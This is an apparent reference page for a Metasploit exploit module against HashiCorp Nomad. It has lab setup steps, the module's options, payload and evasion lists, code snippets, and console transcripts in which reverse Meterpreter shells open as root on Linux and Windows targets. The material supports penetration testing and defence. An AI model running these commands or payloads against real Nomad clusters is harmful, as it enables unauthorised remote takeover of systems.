HashiCorp Nomad Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/nomad_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HashiCorp Nomad Remote Command Execution
Module: exploit/multi/misc/nomad_exec
Source code: modules/exploits/multi/misc/nomad_exec.rb
Disclosure date: 2021-05-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 4646, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option is to use the 'raw_exec' driver, which runs with high privileges. Development servers and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs. Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- repeatable-session: The module is expected to get a shell every time it runs.
Basic Usage
msf > use exploit/multi/misc/nomad_exec
msf exploit(nomad_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
HashiCorp Nomad allows for clients to create jobs that can run in a Nomad cluster. Nomad provides a variety of drivers to allow for tasks to be run under. The 'raw_exec' and 'exec' drivers allow for OS commands to be run on a Nomad client. The 'raw_exec' option runs with higher privileges, while 'exec' is typically limited to lower privileges.
The API operates similarly to HashiCorp's Consul service, by allowing optional ACL tokens as an authentication mechanism. This is not enabled by default.
Test Setup
First install Nomad (https://www.nomadproject.io/downloads)
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install nomad -y
Start Nomad
sudo nomad agent -dev -bind 0.0.0.0 -log-level INFO
Nomad should start up like the following:
==> No configuration files loaded
==> Starting Nomad agent...
==> Nomad agent configuration:
Advertise Addrs: HTTP: 192.168.1.2:4646; RPC: 192.168.1.2:4647; Serf: 192.168.1.2:4648
Bind Addrs: HTTP: 0.0.0.0:4646; RPC: 0.0.0.0:4647; Serf: 0.0.0.0:4648
Client: true
Log Level: INFO
Region: global (DC: dc1)
Server: true
Version: 1.0.5
==> Nomad agent started! Log data will stream in below:
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=docker type=driver plugin_version=0.1.0
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=raw_exec type=driver plugin_version=0.1.0
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=exec type=driver plugin_version=0.1.0
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=qemu type=driver plugin_version=0.1.0
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=java type=driver plugin_version=0.1.0
2021-05-18T09:51:21.880-0500 [INFO] agent: detected plugin: name=nvidia-gpu type=device plugin_version=0.1.0
2021-05-18T09:51:21.894-0500 [INFO] nomad.raft: initial configuration: index=1 servers="[{Suffrage:Voter ID:192.168.1.2:4647 Address:192.168.1.2:4647}]"
2021-05-18T09:51:21.894-0500 [INFO] nomad.raft: entering follower state: follower="Node at 192.168.1.2:4647 [Follower]" leader=
2021-05-18T09:51:21.898-0500 [INFO] nomad: serf: EventMemberJoin: nomad.global 192.168.1.2
2021-05-18T09:51:21.898-0500 [INFO] nomad: starting scheduling worker(s): num_workers=8 schedulers=[service, batch, system, _core]
2021-05-18T09:51:21.900-0500 [INFO] nomad: adding server: server="nomad.global (Addr: 192.168.1.2:4647) (DC: dc1)"
2021-05-18T09:51:21.918-0500 [INFO] client: using state directory: state_dir=/tmp/NomadClient084393005
2021-05-18T09:51:21.918-0500 [INFO] client: using alloc directory: alloc_dir=/tmp/NomadClient993736104
2021-05-18T09:51:21.922-0500 [INFO] client.fingerprint_mgr.cgroup: cgroups are available
2021-05-18T09:51:23.045-0500 [WARN] nomad.raft: heartbeat timeout reached, starting election: last-leader=
2021-05-18T09:51:23.045-0500 [INFO] nomad.raft: entering candidate state: node="Node at 192.168.1.2:4647 [Candidate]" term=2
2021-05-18T09:51:23.045-0500 [INFO] nomad.raft: election won: tally=1
2021-05-18T09:51:23.045-0500 [INFO] nomad.raft: entering leader state: leader="Node at 192.168.1.2:4647 [Leader]"
2021-05-18T09:51:23.045-0500 [INFO] nomad: cluster leadership acquired
2021-05-18T09:51:23.052-0500 [INFO] nomad.core: established cluster id: cluster_id=3266f8d4-f93b-0491-f352-b508401faeb7 create_time=1621349483050579397
2021-05-18T09:51:28.066-0500 [INFO] client.plugin: starting plugin manager: plugin-type=csi
2021-05-18T09:51:28.066-0500 [INFO] client.plugin: starting plugin manager: plugin-type=driver
2021-05-18T09:51:28.066-0500 [INFO] client.plugin: starting plugin manager: plugin-type=device
2021-05-18T09:51:33.588-0500 [INFO] client: started client: node_id=4b972587-fc0c-3937-29db-318433d0135a
2021-05-18T09:51:33.606-0500 [INFO] client: node registration complete
2021-05-18T09:51:34.608-0500 [INFO] client: node registration complete
Verification Steps
You can verify the module against the vulnerable application with those steps:
- Launch a Consul cluster with the provided bash script
- Start msfconsole
- Do:
use exploit/multi/misc/nomad_exec - Do:
set RHOST 192.168.1.2 - Do:
set RPORT 4646 - Do:
check. The target should show as vulnerable. - Do:
set payloadwith the payload of your choosing. - Do:
set LHOST eth0(Attacker's default NIC) - Do:
run - You should get a shell.
Scenarios
Reverse shell on Linux host
msf6 > use exploit/multi/misc/nomad_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646
RPORT => 4646
msf6 exploit(multi/misc/nomad_exec) > check
[+] 192.168.1.2:4646 - The target is vulnerable.
msf6 exploit(multi/misc/nomad_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/misc/nomad_exec) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Creating job 'RjLhSsR'
[*] Job 'RjLhSsR' successfully created as '9ea94eb3-5a63-d9e2-dd36-3375ee301d5d'.
[*] Waiting for job 'RjLhSsR' to trigger
[*] Sending stage (984904 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.2:53978) at 2021-05-18 10:01:00 -0500
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : 192.168.1.2
OS : Ubuntu 18.04 (Linux 4.15.0-128-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: root @ nomad (uid=0, gid=0, euid=0, egid=0)
Reverse shell on Windows host
msf6 > use exploit/multi/misc/nomad_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646
RPORT => 4646
msf6 exploit(multi/misc/nomad_exec) > set TARGET Windows
TARGET => Windows
msf6 exploit(multi/misc/nomad_exec) > check
[+] 192.168.1.4:4646 - The target is vulnerable.
msf6 exploit(multi/misc/nomad_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/misc/nomad_exec) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Using URL: http://0.0.0.0:8080/7xalf9984X4by
[*] Local IP: http://192.168.1.3:8080/7xalf9984X4by
[*] Creating job 'WgsLus'
[*] Job 'WgsLus' successfully created as 'fba1132d-c381-3945-e5e4-5e7ebdd24aa5'.
[*] Waiting for job 'WgsLus' to trigger
[*] Client 192.168.1.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.610) requested /7xalf9984X4by
[*] Sending payload to 192.168.1.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.610)
[*] Sending stage (175174 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.4:52922) at 2021-05-18 10:08:23 -0500
[*] Command Stager progress - 100.00% done (151/151 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : DESKTOP-1CE7MB4
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/nomad_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/nomad_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/nomad_exec) > show info
Name: HashiCorp Nomad Remote Command Execution
Module: exploit/multi/misc/nomad_exec
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-05-17
Provided by:
Wyatt Dahlenburg ( <Wyatt Dahlenburg (@wdahlenb)>
Module side effects:
repeatable-session
Module stability:
crash-safe
Module reliability:
artifacts-on-disk
ioc-in-logs
Available targets:
Id Name
-- ----
0 Linux
1 Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ACL_TOKEN no Consul Agent ACL token
DATACENTER dc1 yes The datacenter to run against
JOB_NAME yes Name of job to run (default random)
JOB_TYPE raw_exec yes Driver (raw_exec or exec)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4646 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
Create a batch job on HashiCorp's Nomad service to spawn a shell.
The default option is to use the 'raw_exec' driver, which runs with
high privileges. Development servers and client's explicitly
enabling the 'raw_exec' plugin can spawn these type of jobs. Regular
'exec' jobs can be created in a similar fashion at a lower privilege
level.
References:
https://www.nomadproject.io/
Module Options
This is a complete list of options available in the multi/misc/nomad_exec exploit:
msf6 exploit(multi/misc/nomad_exec) > show options
Module options (exploit/multi/misc/nomad_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ACL_TOKEN no Consul Agent ACL token
DATACENTER dc1 yes The datacenter to run against
JOB_NAME yes Name of job to run (default random)
JOB_TYPE raw_exec yes Driver (raw_exec or exec)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4646 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/nomad_exec exploit:
msf6 exploit(multi/misc/nomad_exec) > show advanced
Module advanced options (exploit/multi/misc/nomad_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, echo, printf, curl, wget, psh_invokewebrequest, certutil, vbs)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/nomad_exec module can exploit:
msf6 exploit(multi/misc/nomad_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux
1 Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/nomad_exec exploit:
msf6 exploit(multi/misc/nomad_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/nomad_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/nomad_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
78: 'X-Nomad-Token' => datastore['ACL_TOKEN']
79: }
80: })
81:
82: unless res
83: vprint_error 'Connection failed'
84: return CheckCode::Unknown
85: end
86:
87: unless res.code == 200
88: vprint_error 'Unexpected reply'
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
83: vprint_error 'Connection failed'
84: return CheckCode::Unknown
85: end
86:
87: unless res.code == 200
88: vprint_error 'Unexpected reply'
89: return CheckCode::Safe
90: end
91:
92: agent_info = JSON.parse(res.body)
93:
Failed to parse JSON output.
Here is a relevant code snippet related to the "Failed to parse JSON output." error message:
110: return CheckCode::Vulnerable
111: end
112:
113: CheckCode::Safe
114: rescue JSON::ParserError
115: vprint_error 'Failed to parse JSON output.'
116: return CheckCode::Unknown
117: end
118:
119: def execute_command(cmd, _opts = {})
120: uri = target_uri.path
An error occured when contacting the Nomad API.
Here is a relevant code snippet related to the "An error occured when contacting the Nomad API." error message:
179: ]
180: }
181: }.to_json
182: })
183: unless res && res.code == 200
184: fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')
185: end
186:
187: job_info = JSON.parse(res.body)
188: eval_id = job_info['EvalID']
189:
Failed to parse JSON output.
Here is a relevant code snippet related to the "Failed to parse JSON output." error message:
188: eval_id = job_info['EvalID']
189:
190: print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")
191: print_status("Waiting for job '#{job_name}' to trigger")
192: rescue JSON::ParserError
193: vprint_error 'Failed to parse JSON output.'
194: end
195:
196: def exploit
197: execute_cmdstager
198: end
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/nodejs_pipelining
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- payload/cmd/unix/bind_nodejs
- payload/cmd/unix/reverse_nodejs
- payload/nodejs/shell_bind_tcp
- payload/nodejs/shell_reverse_tcp
- payload/nodejs/shell_reverse_tcp_ssl
- exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
- auxiliary/gather/chrome_debugger
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/consul_rexec_exec
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- exploit/multi/misc/hp_data_protector_exec_integutil
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/legend_bot_exec
- exploit/multi/misc/openview_omniback_exec
- exploit/multi/misc/osgi_console_exec
- exploit/multi/misc/pbot_exec
- exploit/multi/misc/persistent_hpca_radexec_exec
- exploit/multi/misc/ra1nx_pubcall_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/w3tw0rk_exec
- exploit/multi/misc/xdh_x_exec
Authors
- Wyatt Dahlenburg (@wdahlenb)
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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